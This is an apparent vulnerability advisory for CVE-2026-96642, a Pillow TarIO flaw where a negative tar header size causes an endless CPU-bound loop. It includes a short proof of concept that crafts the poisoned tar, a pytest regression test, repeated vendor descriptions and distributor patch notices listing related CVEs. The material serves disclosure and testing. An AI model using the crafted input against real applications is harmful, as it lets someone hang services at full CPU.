CVE-2026-96642

Summary

TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

Details

TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)

There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
    data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b"  -00001000"

with open("poisoned.tar", "wb") as f:
    f.write(data)

# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"


@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
    with open(SOURCE_TAR, "rb") as f:
        data = bytearray(f.read())

    data[124:135] = b"  -00001000"  # octal 1000 = decimal 512, negated

    poisoned_tar = tmp_path / "poisoned.tar"
    poisoned_tar.write_bytes(data)

    with pytest.raises((OSError, ValueError)):
        with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
            pass

Impact

• Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
• Confidentiality: none.
• Integrity: none.
• TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.

Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.3.0.post9+tuxcare.

TuxCare rebuilt pillow to address 6 CVEs. Fixed in 11.2.1.post11+tuxcare.

TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post14+tuxcare.

TuxCare rebuilt pillow to address 3 CVEs. Fixed in 9.5.0.post12+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.4.0.post13+tuxcare.

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 8.4.0.post12+tuxcare.

These are all security issues fixed in the python313-Pillow-13.0.0-2.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2026-96642 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).